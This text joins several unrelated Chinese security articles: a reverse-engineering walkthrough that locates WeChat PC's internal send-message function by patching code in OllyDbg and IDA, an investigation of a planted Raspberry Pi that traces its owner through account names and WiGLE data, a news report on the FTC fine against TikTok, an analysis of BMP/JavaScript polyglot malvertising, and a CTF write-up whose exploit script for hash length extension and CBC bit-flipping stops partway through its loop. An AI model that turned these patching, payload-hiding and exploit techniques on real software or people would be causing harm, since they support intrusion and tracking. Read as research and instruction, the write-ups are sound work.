 路径=C:\Windows\System32\msftedit.dll

好像和我们的分析目标很贴近嘛,在OD中数据窗口右键断点->删除内存断点,然后按下Alt+F9回到用户模块领空,也就是跳过系统模块的代码,直接回到微信的模块代码中,省过对系统代码的分析。

看到返回到6E20CCC2这个地址,上一行代码就是调用msftedit.dll的函数,我们对其下一个断点,鼠标点击到6E20CCBF这行代码,按下F2下一个int 3断点,然后F9跳过本次分析。

微信PC端技术研究

OD继续断下,此次直接断在了6E20CCBF这个位置,可以看到call调用了msftedit.6F05AD69,这是个什么函数呢?

微信PC端技术研究

既然msftedit.dll是微软模块,那么肯定是有符号的嘛,嘿嘿。

这里可以直接在OD中加载符号来分析,使用方法是:

1.在WingDbg目录下拷贝dbgeng.dll,dbghelp.dll,srcsrv.dll,symbolcheck.dll,symsrv.dll,symsrv.yes,一共6个文件至OD目录下。

2.打开OD,设置符号路径。调试--->选择符号路径。

3.设置StrongOD的插件选项。选择加载符号。

原文:https://blog.csdn.net/sr0ad/article/details/8253311 

但是只支持本地符号,也就是得自己下载了模块对应符号到本地,OD设置符号文件路径后,才能正常使用,有点麻烦。

我这时候一般就会使用IDA了,因为它会自己在线下载模块对应的符号,很方便。

用IDA打开msftedit.dll,等待些许时间,IDA下载符号,解析等等完成后,我们去找到msftedit.6F05AD69对应的函数究竟是个什么东西。

但是这里msftedit.6F05AD69的模块基址是6F050000,而IDA解析使用的是默认基址0x6FCD0000,要么修改IDA解析基址为6F050000,等待IDA重新解析,要么通过偏移计算对应地址。

再解析等太久,直接计算吧,所以要安利我写的一个小工具(偏移计算工具),能够快速计算地址,具体使用见相关文章。

微信PC端技术研究

再IDA中按下g,输入6fcdad69,找到msftedit.6F05AD69对应函数为CTxtEdit::OnTxInPlaceActivate

微信PC端技术研究

很明显通过名字OnTxInPlaceActivate可以看出是编辑框中文字激活状态(显示)下就会触发该函数,这不是重点。

重点看CTxtEdit,不言而喻,这就是msftedit.dll中实现的编辑框的类。

如果写过MFC相关代码,应该很快就能想到CTxtEdit肯定还有其他读内容、写内容的函数,叫做GetXXX或者SetXXX

在IDA的函数列表中翻看一下,果然很快就找到了CTxtEdit::GetTextExCTxtEdit::SetText

微信PC端技术研究

但到底这两个函数是不是编辑框读写内容的函数呢,我们对这两个函数下断点试试,通过工具算到在ID调试中这两个函数的相应地址为6f0684376f056d37

微信PC端技术研究

在OD的底部命令窗口输入bp 6f068437bp 6f056d37,删掉之前CTxtEdit::OnTxInPlaceActivate的断点,然后F9跑起来。

微信PC端技术研究

回到微信界面,这次能够正常显示了,点击发送按钮。OD触发断点,断在了6f068437也就是CTxtEdit::GetTextEx上,很明显这是发送函数在读取输入框内容。

微信PC端技术研究

回溯找到发送函数

此时的调用堆栈是这样的:

调用堆栈 

地址       堆栈       函数过程 / 参数                       调用来自                      结构

0026E280   6F06842D   msftedit.6F068437                     msftedit.6F068428             0026E3FC //CTxtEdit::GetTextEx

0026E400   6E20D239   包含msftedit.6F06842D                   WeChatWi.6E20D233             0026E3FC

0026E43C   6DBD38EB   包含WeChatWi.6E20D239                   WeChatWi.6DBD38E8             0026E438 //TxtEdit_GetText

0026E5AC   6DC15B65   ? WeChatWi.6DBD3860                   WeChatWi.6DC15B60             0026E5A8 //sendBtn_GetText

0026E60C   6DC15DEE   WeChatWi.6DC15B10                     WeChatWi.6DC15DE9             0026E608 //sendbtn_click

0026E618   6E20BFB8   WeChatWi.6E20BEF4                     WeChatWi.6E20BFB3             0026E614

0026E62C   6E20362E   WeChatWi.6E20BF90                     WeChatWi.6E203629             0026E628

0026E6CC   6E203589   WeChatWi.6E2035A7                     WeChatWi.6E203584             0026E6C8

0026E820   6DC53695   ? WeChatWi.6E20352E                   WeChatWi.6DC53690             0026E81C

微信PC端技术研究

在OD中回溯调用堆栈跟踪返回到WeChatWi.6E20D239,看到右侧堆栈窗口已经获取到输入框中内容,证明前面的分析没有问题。

微信PC端技术研究

再次回溯两层到WeChatWi.6DC15B60,可以看到堆栈中的参数依然是获取到的输入框内容。

[0026E5E4] = 0828C070

[0828C070 + 4] = 0828CAF0 => a12bcAAAAA

微信PC端技术研究

此时函数首地址是WeChatWi.6DC15B10,进入到IDA中对应函数100d5b10(你要问我为什么此时进入IDA查看?我只好说其实这个步骤花费了很多时间,一边OD调试,一边IDA辅助确认等等,过程并没有这么顺利,篇幅原因省略),然后按下x回到上层函数,看到如下代码:

微信PC端技术研究

看到click很明显可以看出这就是发送按钮的响应函数了(相关知识可以了解duilib编程,微信界面是duilib实现的)。

到目前找到了发送消息的函数,但还并不是消息发送接口,这还只是界面的操作函数,具体发送消息接口应该在该函数内部被调用。

有技巧找到发送接口

先粗略地在OD中跟一遍WeChatWi.6DC15B10的代码逻辑,函数很多,没法很快确认哪个函数是消息发送接口。

截取部分代码感受一下,大概11个函数。根据OD跟的逻辑大概是sendBtn_GetText_10093860->sub_100DD340->sub_100C50C0->sub_10094100->sub_100DD9D0->sub_100C4450->sub_10323DF0->sub_100DE120

if ( sendBtn_GetText_10093860(a1->unk_560, (int)&savedregs, a2, a3, msg) <= 0 )// 这里是获取msg

  {                                             // x

    //省略一大段逻辑

  }

  if ( msg[0] != msg[1] )

  {                                             // x

    //省略一大段逻辑

  }

  if ( sub_100DD340() )

  {                                             // x

    //省略一大段逻辑

    sub_1047C070(&v34, v23);

    sub_100DB8C0((int)a1_, v34, v35, (int)v36, v37, (int)v38, v39, v40, (int)v41, msg_);

  }

  if ( sub_100C50C0((_DWORD *)(a1_->unk_558 + 2528), (int)msg, (int)v43) )

  {

    sub_10094100((_DWORD *)a1_->unk_560);//

    sub_100DD9D0(msg);                          

    sub_100C4450((_DWORD *)(a1_->unk_558 + 2528), (_msg *)msg);// 

    v31 = sub_10323DF0();

    sub_100DE120(v31, (int)a1_, (int)sub_100D6C40, 0, v40, (int)v41, msg_);// retn 18

    v12 = 1;

  }

  else

  {

    //省略一大段逻辑

    sub_10108D60(v30, *(&a1_->unk_558 + 1), v33, (int)v34, v35, v36, (int)v37, v38, v39, v40, v41);

  }

通常通过调试每个函数的参数、返回结果等基本可以猜测到函数功能,然后来找到消息发送接口。

但这里我偷懒了,因为参数结构复杂,一时半会没法找到关键点,有点晕了。

所以我通过排除法来一一筛选函数,最多11次左右就能找到消息发送接口。举个例子,如果sub_100DD340是消息发送接口,在我手工屏蔽其功能之后,消息肯定发不出去了,那么我就可以通过看到的结果(是否发送成功)来确认sub_100DD340是不是要找到的消息发送接口。

具体屏蔽方法:

通过IDA或OD进入sub_100DD340函数内部,找到函数结尾,找到retn xx类似代码

用OD在sub_100DD340函数开始修改汇编代码为retn xx,双击输入retn xx即可

这样sub_100DD340函数直接在入口就返回了,功能没有了,也保证了函数调用时的栈平衡。

微信PC端技术研究

在确认sub_100DD340并没有影响消息发送之后,通过右键撤销选择处修改恢复修改的内容。

如此重复筛选其他的函数,最终确认sub_100C4450为发送消息函数。代码接口如下:

sub_100C4450((_DWORD *)(a1_->unk_558 + 2528), (_msg *)msg);// 

msg是发送内容,a1_->unk_558 + 2528)是当前聊天窗口的好友信息,包括wxid和名字之类的信息。

微信PC端技术研究

但作为接口依然不够简洁,需要构造好友信息,比较复杂,所以继续深入sub_100C4450内部,看看是否能够找到最简单的接口,比如:

sendmsg(wxid, msg); //传入发给谁,发什么即可

sub_100C4450内部依然很复杂,使用和前面同样的方式,先大致跟一遍执行流程,然后通过排除法逐个筛选。

if ( !sub_100C43D0(msg_.buf, msg_.len, msg_.maxlen, wxid_) )// 是不是全是特殊字符\r\n\t等,是返回1,不是返回0

{

sub_1007D390();

msg_packet = sub_102DA4A0((int)wxid, (int)&v67, msg__, &unk, 1);// 数据打包,发送

sub_100494E0(msg_packet_, (size_t)msg_packet);//

sub_1004B550(&v67);              //

v11 = sub_102478D0();

v12 = sub_10402C10((int)v11);

v89 = (void **)v13;

if ( sub_10402C10((int)msg_packet_) != v12 || v14 != v89 )

{

    if ( sub_100C6770(this_) )        // 

    {

    sub_1004BBF0((int *)&msgpacket);//

    sub_10056940((int *)&msgpacket, (size_t)msg_packet_);// 

    sub_100C56D0(this___, (size_t)&msgpacket, 1);

    sub_10081210((LPVOID *)&msgpacket);

    v16 = sub_100C0EC0();

    sub_10247250((int **)v16, (int)path);

    }

}

}

if ( (signed int)(msg->msgend - (unsigned int)msg->msg) / 0x24 != 1 )

v9 = sub_10323DF0();

sub_10324E70(v9, msg_.len, msg_.maxlen, (int)wxid_, (int)path);

sub_100ADA10(&msg___);

这一次筛选屏蔽的方法换一种,直接在某个函数执行完成之后,通过jmp跳到sub_100C4450结尾,如果某次消息发送成功,最后执行的函数就是我们要的接口。

微信PC端技术研究

很幸运,这次在第三个函数就找到了消息发送函数sub_102DA4A0,看看它的参数:

sub_102DA4A0((int)wxid, (int)&v67, msg__, &unk, 1);

[email protected]<eax>(int [email protected]<edx>, int [email protected]<ecx>, wxstring *msg, _DWORD *a4, int a5)

下图是调试中看到的数据,确认接口没有问题。至于其他两个参数,经过分析是用于接收输出的,没有实际作用,在此不赘述。

微信PC端技术研究

如此分析消息发送接口的工作完成,找到了和预期基本一致的接口函数。

三、总结

篇幅好像有点长了,最后做一下此次分析的总结:

ce找到编辑框中的内容内存

发送后,编辑框内容删除,写断点无效,神奇,猜测通过设置长度控制显示

改为内存访问断点,进入界面就会断下,徘徊几次后,决定分析,没想到找到了关键点CTxtEdit::OnTxInPlaceActivate

知道编辑框使用了msftedit.dll的CTxtEdit的类,用ida找到符号

查询类似getvalue的接口,找到SetText、GetTextEx等,对这两个函数下断点

果然断下,回溯找到了发送的消息响应函数

详细分析响应函数,多次通过retn、jmp排除,找到真正发送消息函数,最后分析出接口函数

此次分析中CE找到地址是第一步非常关键的点,直接就进入了函数调用堆栈内部,对此次分析作用非常明显。

再就是在发送消息响应函数内部,逐个分析找到消息发送接口函数中,通过修改指令来屏蔽函数功能来确认函数功能,比每个函数去分析参数猜测确认功能来的更快,效果更明显。

调试工具非常重要,动(OD)静态(IDA)分析结合能够提高分析速度。

OD适合分析函数参数、解析数据结构、确认函数功能,IDA适合分析函数逻辑、整体函数结构、代码框架等等,各有优势。

最后,再次安利一下开源项目https://github.com/anhkgg/SuperWeChatPC,此次分析的发送消息接口也会在后续合入到项目中,欢迎starPR

相关文章:

1. 微信PC端技术研究-消息防撤销

2. 微信PC端技术研究(2)-保存聊天语音

*本文作者:anhkgg,本文属FreeBuf原创奖励计划,未经许可禁止转载。

上周,我收到了一位同事发来的图片。
1.png我让他拔掉电源插头,把它储存在一个安全的地方,拍下所有部件的照片,然后用SD卡制作镜像(因为我大部分时间都在远程工作)。我做过很多树莓派的项目,我相信我能找到它的作用。

3个部分

1.Raspberry Pi b第一代

2.一个神秘的USB加密狗

3.一张16GB的SD卡(速度很快)
2.jpg要做的第一件事:询问每个可以访问此网络的人,因为能够进入的人数非常有限。只有4个人:

1.管理者

2.地勤人员

3.我的同事

我他们都不知道这一点,所以我问我的IT同事,他们和我一样困惑。我听说人们得到报酬,把这样的东西放在他们不应该的地方,因此我很想知道它实际上做了什么。

USB加密狗是什么?

为了帮助我解决这个问题,我问了reddit,当然他们确定加密狗是一个微处理器,几乎和Rasberry Pi本身一样强大:nRF52832-MDK。一个非常强大的wifi,蓝牙和RFID阅读器。

3.jpg

毫无疑问,这是为了给老树莓派提供wifi和蓝牙连接。太好了,现在这个东西也有wifi了。

SD卡镜像

SD卡有几个分区。大多数ext4(linux)和一个fat16(boot)

4.png

我的debian盒子告诉了我第一个重要的线索:这是一个resin装置:

5.png

WTF is Resin?

Resin(现在更名为Balena)是一个付费的IOT Web服务,您可以在其中为IOT设备生成镜像,部署这些设备并从resin中获取更新和数据。Resin还在设备上安装VPN,以便安全地传输收集的数据。很明显,这款设备注定会被再次使用,因为它会留下痕迹,因为它的服务是付费的。

分区有猫腻

第一个分区叫做“resin-boot”:

6.png

看到吸引你眼球的东西?我们发现有一个config.json

7.png

我们可以从这个文件中提取什么:

部署到该resin设备的应用程序称为“logger”。不是一个好兆头;

我们有一个username。这似乎是与此设备关联的resin帐户的用户名;

确认设备通过端口443 使用VPN;

注册日期。它是在20185月13日注册(或首次部署或设置?)。

关于该用户名

当我用googled搜索在config.json文件中找到的那个用户名,我在同一个城镇找到了一个找到此Pi的人。然后该公司检查了他们的记录,但没有找到任何结果。奇怪的是,我在2001年找到了一个网站,其中“有天赋的孩子”的父母写了关于他们的文章,并且出于某种原因用他们的家庭住址和电话号码签署这些文章。所以我有一个名字和整个家庭的地址。 

8.jpg

这可能是一个错误的引导,因为用户名往往被多人使用,但让我们记住这个名字。

resin-data

数据目录没有存储任何数据(如:收集的数据),但是有一个nodejs应用程序被严重混淆,直到今天我还无法确切知道它在做什么。它似乎通过串口连接到加密狗,但我无法提取实际收集的数据。我只能假设它收集了该区域(经理办公室周围)的蓝牙和wifi设备的移动配置文件,并且可能是原始的无线数据包。但我发现了一些更有趣的东西:一个LICENSE.md文件:

9.png

奇怪,为什么这个nodejs应用会包含一个机密软件?我从版权页上谷歌了一下,你猜怎么着?除了我之外,为什么公司的联合创始人会在城镇周围分发这些设备呢?

获取攻击者的家庭住址

我发现的另一个非常有趣的事情是resin-state路径中第三个分区上的文件/root-overlay/etc/NetworkManager/system-connections/。该文件名为resin-wifi-01。 

10.png

它包含wifi的wifi凭证,用于设置设备(或测试它)。绝对不是公司的无线网络。当我们想要找到与wifi名称相关的位置时,我们该怎么办?我们去wigle.net,输入SSID(= wifi名称),它会告诉我们在世界的哪个地方可以找到它。 

11.png

你猜怎么着?我们找到那个天才父母的地址了吗?根据Wigle.net,Pi就是在这里建立的。

后果

我查看了DNS日志,找到了Pi首次在网络中看到的确切日期和时间。我检查了RADIUS日志以查看当时哪个员工在该处所,并且我看到多个错误消息,已停用的帐户尝试连接到wifi。这个已停用的帐户属于前雇员(由于某种原因)与管理层达成协议,他可能仍然拥有一个密钥几个月,直到他将所有东西搬出大楼。

现在怎么办

法律已经接管,我尽了自己的责任,其余的都超过了我的工资等级。对我而言,这是一个非常有趣的挑战,我要感谢reddit上的每个人,他帮助我完成了一个难题。

*参考来源:haschek,由周大涛编译,转载请注明来自FreeBuf.COM

如日中天的短视频分享平台抖音近几年可谓发展迅猛,近期一个最大的好消息应该就是抖音海外版 TikTok 安装量超过10亿,这绝对是个惊人的数字。紧随而来的还有一张巨额罚单——570万美元,约合人民币3800万元。

tiktok-ftc.jpg

2019年2月27日,美国联邦贸易委员会(FTC)发布一条针对抖音海外版TikTok的处罚,由于其违反了儿童在线隐私保护法案(COPPA),在未经过父母同意的情况下,违规收集13岁以下用户的姓名、电子邮件以及其他个人信息。目前TikTok运营方已经同意支付这张罚单以解决这项指控。

其实FTC针对TikTok的调查很早就已经开始进行,TikTok前身为 Musical.ly,比现在的抖音更早开始在海外市场运营。根据FTC公布的内容,Musical.ly注册流程需要用户提供电子邮件地址,电话号码,用户名,名字和姓氏等信息,允许用户通过评论他们的视频,以及发送私信与其他用户进行互动。用户帐户默认是公开的,这意味着其他用户可以看到孩子的个人资料,用户名,图片和视频。

而Musical.ly的用户群中很大一部分是13岁以下的儿童,根据COPPA规定,应用在收集13岁以下儿童信息之前需要经过父母同意。因此,Musical.ly收到很多父母的投诉,要求删除儿童个人信息。

1_Sgw9f_0U-08fGtz9BttU-g.png

然而这项调查还在进行中,Musical.ly却已经遭受巨大变动。Musical.ly在2017年11月被抖音母公司字节跳动以10亿美元收购,2018年8月开始musical.ly与抖音国际版 TikTok 合并,继续沿用TikTok的名字。

作为现在Musical.ly的运营方,TikTok与FTC的最终达成和解,除了支付570万美元的罚金之外,TikTok未来需要严格遵守COPPA法案,并且将所有未满13岁儿童制作的视频下线。

WX20190228-141113@2x.pngWX20190228-141206@2x.png

不过对于FTC这项处罚,字节跳动副总裁李亮在社交平台做出了一些澄清。李亮表示,FTC的处罚只针对为收购前的Musical.ly,而与抖音、TikTok无关。而对于抖音国际版TikTok的称谓也进行了解释称“准确来说没有国际版”,抖音和TikTok只是字节跳动旗下功能定位类似的两个独立产品,针对市场不一样。

7fed891347b7ee8e805c7ba7da54c767.jpg

隐私问题早已成为全球性网络安全难题,而其中儿童隐私的保护往往是比较容易被忽略的。大部分人自己的隐私意识尚且有待提升,何谈去保护自己孩子的隐私,儿童隐私问题在我国也是一个亟待解决的难点,或许美国儿童在线隐私保护法案存在一些值得我们学习的地方。

*参考来源:FTC,本文作者 shidongqi,转载请注明来自FreeBuf.COM

DEVON安全研究人员追踪到恶意广告攻击活动越来越使用复杂的攻击方式来隐藏payload。DEVCON安全研究人员发现至少一个攻击组织通过polyglot漏洞利用来分发恶意广告payload。Polyglot图像和Steganographic图像(隐写)的定义很容易混淆,但这两个攻击之间有明显的区别。

隐写漏洞利用使用的是隐藏在图像中的修改像素值。通过修改像素值,人眼无法检测到图像质量的明显变化。但是漏洞利用也需要一些额外的脚本来了解模式和offset来找出漏洞利用的像素,然后将这些聚合在可执行JS文件中。

Polyglot漏洞利用的特点是文件可以同时在图像和JS文件中。不需要外部脚本就可以提取payload。但是文件怎么样同时是图像文件又是JS文件呢?原理就在于计算机识别这两个文件类型的方式。

下面是计算机读取正常BMP文件的情况。需要知道的是攻击者如何将它转换成polyglot,并利用浏览器。

Normal BMP Image Header正常BMP图像头部

前两个字节(红色框)是BMP图像的BM的十六进制表示。接下来的4个字节(8A C0 A8 00)表示图像文件的大小。然后是4个null字节(00 00 00 00),数据偏移量是(8A 00 00 00)。这些字节就给出了计算机正确执行文件需要的主要信息。

下面是Polyglot BMP图像文件的header:

sc2.png

看起来很像。也是以BM开始的,大小和数据偏移offset也有。攻击者就是利用修改和控制图像的大小和十六进制字符来使计算机将该文件识别为其他文件的。攻击者修改了图像的大小字段就变成了/**(字符代码)。这些字符加起来就是一个JS的注释。JS备注是用来使JS翻译器忽略这些字符串,比如忽略/*到*/之间的字符串。

下面看一下文件的尾部。

sc3.png

JS注释是以*/结尾的,攻击者然后加入了字符串=和`。攻击者就将文件类型BM转成JS变量,并设置为另一个高度混淆的payload。下面解释了JS翻译器的原理:

sc4.png

该文件在浏览器中有两种方式运行:

· <img src="polyglot.jpg"/> 会显示给用户一个图片,而会忽略JS脚本。

· <script src="polyglot.jpg"></script> 会执行有效的JS,而忽略图像数据。

研究人员已经检测到隐藏在恶意广告payload中的漏洞利用。攻击者有一些有创意的图片:

Exploited.png

研究人员发现攻击以正常BMP文件的方式加载,而在浏览器中是以JS的方式加载BM变量到内存中,如下图所示:

sc8.png

图像文件的后面部分含有一个解码脚本,该脚本实际上是一个高度混淆的JS。攻击是分层的,而且使用了一些技术来隐藏恶意活动,并且阻碍逆向工程师找出其真正的工作原理。

sc9.png

上面的脚本都是用下面的这个简单那叫吧来解码的。这会解码会隐藏在BM变量中的数据:

sc10.png

下面是解码的BM数据。最后解码的脚本并不像我们常见的恶意广告活动中的漏洞利用。它在浏览器中引入了一个cloudfront的url,会将受害者重定向到其他加载SPIN THE WHELL类游戏的页面。

sc11.png

最后重定向的结果:

但是这种新的攻击方法其实并不新颖。安全研究人员和渗透测试人员也常使用这种技术来执行shell代码和发起服务器攻击。JS/GIF polyglots是一种围绕服务器安全策略而执行XSS攻击的方法。类似的攻击方法已经出现不止一次了。研究人员详细更多的高级攻击组织将会进入恶意广告欺诈攻击活动中。

参考文献:

https://warroom.rsmus.com/bmp-x86-polyglot/

https://en.wikipedia.org/wiki/Gifar

http://stegosploit.info/

https://www.robertxiao.ca/hacking/defcon2018-assembly-polyglot/

https://hackaday.com/2015/11/06/stegosploit-owned-by-a-jpg/

https://ajinabraham.com/blog/bypassing-content-security-policy-with-a-jsgif-polyglot

https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs

https://www.alchemistowl.org/pocorgtfo/pocorgtfo08.pdf

前言

最近,为了防止整天沉迷switch智力降低,于是刷了一道有意思的Crypto题,其中涉及大概2个考点:Hash Length Extension Attacks & CBC Byte Flipping Attack,虽然利用有些麻烦,但是锻炼脑力,从CTF开始~

程序分析

先看主程序代码:

if __name__ == '__main__':
    unprintable = b""
    for i in range(256):
        if chr(i) not in string.printable:
            unprintable += bytes([i])
    alarm(60)
    s = Sign(urandom(16), urandom(16))
    while True:
        print("Choose:\n[1] Register\n[2] Login")
        op = input()
        if op == '1':
            user = input("Input your username(hex): ")
            token = s.register(bytes.fromhex(user))
            if not token:
                print("Sorry, invalid username.")
            else:
                print("Your token is: %s" % token.hex())
        elif op == '2':
            token = input("Input your token: ")
            res = s.login(bytes.fromhex(token))
            if not res:
                print("Sorry, invalid token.")
            elif not res[1]:
                user = res[0].hex()
                print("Sorry, your username(hex) %s is inconsistent with given signature." % user)
            else:
                user = res[0].strip(unprintable).decode("Latin1")
                print("Login success. Welcome, %s!" % user)
                if user == "admin":
                    print("I have a gift for you: %s" % FLAG)
        else:
            print("See you")
            break

大致分为两部分:

1.注册功能输入用户名,程序会计算出一个token给你。

if op == '1':
            user = input("Input your username(hex): ")
            token = s.register(bytes.fromhex(user))
            if not token:
                print("Sorry, invalid username.")
            else:
                print("Your token is: %s" % token.hex())

2.将token输入让程序校验。

py
 elif op == '2':
            token = input("Input your token: ")
            res = s.login(bytes.fromhex(token))
            if not res:
                print("Sorry, invalid token.")
            elif not res[1]:
                user = res[0].hex()
                print("Sorry, your username(hex) %s is inconsistent with given signature." % user)
            else:
                user = res[0].strip(unprintable).decode("Latin1")
                print("Login success. Welcome, %s!" % user)
                if user == "admin":
                    print("I have a gift for you: %s" % FLAG)

如果签名正确且用户名为admin则可以得到flag。

我们继续跟进函数看一下:

首先是token的生成方式。

def register(self, username):
        if b'admin' in username:
            return None
        sig = md5(self.salt + username).digest()
        padlen = self.block - len(username) % self.block
        username += bytes([padlen] * padlen)
        iv = urandom(self.block)
        aes = AES.new(self.key, AES.MODE_CBC, iv)
        c = aes.encrypt(username)
        return iv + c + sig

发现程序不允许注册admin用户,然后token分为3部分:`iv + c + sig`

iv为随机数`urandom(self.block)`,签名sig为用户名加盐的hash值`sig = md5(self.salt + username).digest()`,密文c为AES加密得到。

再看解密方式:

def login(self, cipher):
        if len(cipher) % self.block != 0:
            return None
        self.T -= 1
        iv = cipher[:self.block]
        sig = cipher[-self.block:]
        cipher = cipher[self.block:-self.block]
        aes = AES.new(self.key, AES.MODE_CBC, iv)
        p = aes.decrypt(cipher)
        p = p[:-p[-1]]
        return [p, md5(self.salt + p).digest() == sig]

解密只对密文c进行了操作,并且还多了一步:

p = p[:-p[-1]]

这只是一步常见去除padding的操作,无需理会。

攻击点思考

那么下面思考如何进行攻击。

首先明确我们可控参数:注册时的username以及登录时的token。

视线定位到解密流程,大致分为3步:

1.解密后res是否正常

2.解密后签名是否正确

3.解密后username是否等于admin

不难发现,我们解密的3部分`iv+c+sig`,其中c和sig都要校验,而iv却没有任何的校验。

这不禁让我们想到了一些攻击思路,例如控制iv,进行cbc字节翻转攻击,令c解密后得到admin的明文。

那么思路就接踵而至,当我们控制iv,使c改变后,sig也得相应改变。

p = aes.decrypt(cipher)
p = p[:-p[-1]]
return [p, md5(self.salt + p).digest() == sig]

那么sig如何预测知道username=admin时候的sig呢?

这里我们注意到签名方式:

sig = md5(self.salt + username).digest()

很明显符合我们的hash长度拓展攻击需求。

首先是salt的长度:

s = Sign(urandom(16), urandom(16))

我们发现key和salt的长度都是16

我们又可控username,那么我们可以利用hash拓展攻击计算username=admin时的sig MD5值。

那么现在思路变得比较清晰:

1.利用已知长度的salt和已知username=admin进行hash长度拓展攻击计算sig_new

2.利用原有Iv和c,进行cbc字节翻转攻击得到iv_new,使得c解密得到admin

3.得到新的token:iv_new+c+sig_new

但是随后我又陷入僵局,我没法计算出md5(secret+m),此时只知道secret的长度,并且要求m=admin

此时发现关键代码:

user = res[0].strip(unprintable).decode("Latin1")

所以我们的解密结果不是必须等于admin,前后有不可见字符也行,例如:

\x00\x00\x00\x80\x00\x00admin\x00\x00\x00

图片1.png

在其中的都会被过滤掉,所以最后得到的username还是admin

hash长度拓展攻击

显示这不是一个简单的hash长度攻击。

比如我们第一次注册用户名skysky,得到:

图片2.png

此时sig为:

eb1d2538fcb11aff70aa21213e7ddba9

如果我们此时去进行hash长度拓展攻击:

import hashpumpy
tmp = hashpumpy.hashpump('eb1d2538fcb11aff70aa21213e7ddba9', 'skysky', 'admin', 16)
print tmp

我们可以得到结果:

('0931bd0b164be725a1eba43031642e43', 'skysky\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00\x00admin')

但这不是我们要的结果,此时明文块除了admin还带有可显字符skysky。

我们需要将username控制为不可显字符,例如:

import hashpumpy
tmp = hashpumpy.hashpump('eb1d2538fcb11aff70aa21213e7ddba9', '\x00', 'admin', 16)
print tmp

得到结果:

('0931bd0b164be725a1eba43031642e43', '\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00admin')

但是这样又有新的问题,我注册的username长度只有1,密文块长度只有16,而这里我要解密成的结果长度却有53。

那无论如何cbc翻转也不可能达到我们的目的,所以这里的username还不止是为不可显字符这么简单,我们这里精心构造一下:

首先我们构造一个如下字符串:

s="010101010101010101010101010101018000000000000000000000000000000000000000000000000001000000000000".decode("hex")
s+="\xff"*16+"admi"+chr(ord(n)^1)

我们用这个字符串去进行cbc翻转攻击,得到一个合适的iv+c(虽然程序iv会变,但key不会变,cbc本身需要控制iv,所以iv会变无妨),然后我们get解密结果。

\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x14\xff\xca\x8a\xb6\xc3\xd2\x1d\x07\xd7\x16\x14\x86\xe1\x17\xb9admin

(注:这里需要爆破n轮,因为我们虽然能进行cbc翻转攻击,但是无法控制整个解密内容,所以不能保证攻击之后还全是不可见字符)

得到解密结果后,我们再根据此时的情况构造hash长度拓展攻击,计算出sig。

\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x14\xff\xca\x8a\xb6\xc3\xd2\x1d\x07\xd7\x16\x14\x86\xe1\x17\xb9admin

图片3.png

我们可以发现上下一致,我们成功可以利用hash长度拓展攻击预测签名值,所以只要注册用户名:

01010101010101010101010101010101

即可。

CBC字节翻转攻击

图片4.png

CBC翻转攻击的精髓都在这张图里,我们只需要了解如下公式:

构造的iv[1]= 原来的iv[1]^plain[1]^’a’

本题中,我们可控iv,username也是自己注册的

010101010101010101010101010101018000000000000000000000000000000000000000000000000001000000000000ffffffffffffffffffffffffffffffff61646d696f

图片6.png

我们只要让最后的o进行cbc翻转攻击,变成n即可。

例如我们得到token:

2d74da0969b99075b213e470b907f8e11d82f656d676080efda01be5b75941f147673b8e05686f98d2f1f6acccea2f0bf02a2bd1de59b70b31d84ebbc0dcec84ad6a8adab3589c919db153b98b9f4879ad492c39690116bbbc2f9e55d7e0cc0635e32ea23bbeb431b5c710094591d6fd

去掉后面的sig得到:

2d74da0969b99075b213e470b907f8e11d82f656d676080efda01be5b75941f147673b8e05686f98d2f1f6acccea2f0bf02a2bd1de59b70b31d84ebbc0dcec84ad6a8adab3589c919db153b98b9f4879ad492c39690116bbbc2f9e55d7e0cc06

去掉iv得到c:

1d82f656d676080efda01be5b75941f1
47673b8e05686f98d2f1f6acccea2f0b
f02a2bd1de59b70b31d84ebbc0dcec84
ad6a8adab3589c919db153b98b9f4879
ad492c39690116bbbc2f9e55d7e0cc06

我们的明文m为:

01010101010101010101010101010101
80000000000000000000000000000000
00000000000000000001000000000000
ffffffffffffffffffffffffffffffff
61646d696f

最后一组只有5位,需要填充11,即\x0b*11

那我们即调整c的第4个block对应n的位置即可。

ad6a8adab3589c919db153b98b9f4879

编写脚本:

py
token = token.decode('hex')
cipher1 = token[:-16]
cipher2 = cipher1[:-32]+cipher1[-32:-28]+chr(ord(cipher1[-28])^1)+cipher1[-27:-16]+cipher1[-16:]

getflag

知道原理后即可编写脚本如下:

#!/usr/bin/python2
from Crypto.Cipher import AES
from hashlib import md5
from os import urandom
import string
from libnum import *
import os
from pwn import *
import hashpumpy
 
con = remote("47.95.212.185" ,38611)
def register(username):
    con.sendlineafter("Login\n","1")
    con.sendlineafter("(hex): ",username.encode("hex"))
    con.recvuntil("is: ")
    return con.recvline().strip()
    
def encrypt(username):
    token = register(username).decode("hex")
    return token[:-16]
 
def decrypt(cipher):
    cipher +="a"*16
    con.sendlineafter("Login\n","2")
    con.sendlineafter("token: ",cipher.encode("hex"))
    con.recvuntil("(hex) ")
    data = con.recvuntil("admin".encode("hex"))
    return data.decode("hex")
 
s="010101010101010101010101010101018000000000000000000000000000000000000000000000000001000000000000".decode("hex")
target = ord("n")
mask = 1
assert(target^mask != target)
flag = True
cnt = 0
s+="\xff"*16+"admi"+chr(target^mask)
while(flag):
    cnt+=1
    if(cnt %200 ==0):
        print cnt
    flag = False
    cipher1 = encrypt(s)
    cipher2 =cipher1[:-32]+cipher1[-32:-28]+chr(ord(cipher1[-28])^mask)+cipher1[-27:-16]+cipher1[-16:]
 
    pp = decrypt(cipher2)
    pp = pp.strip("admin")
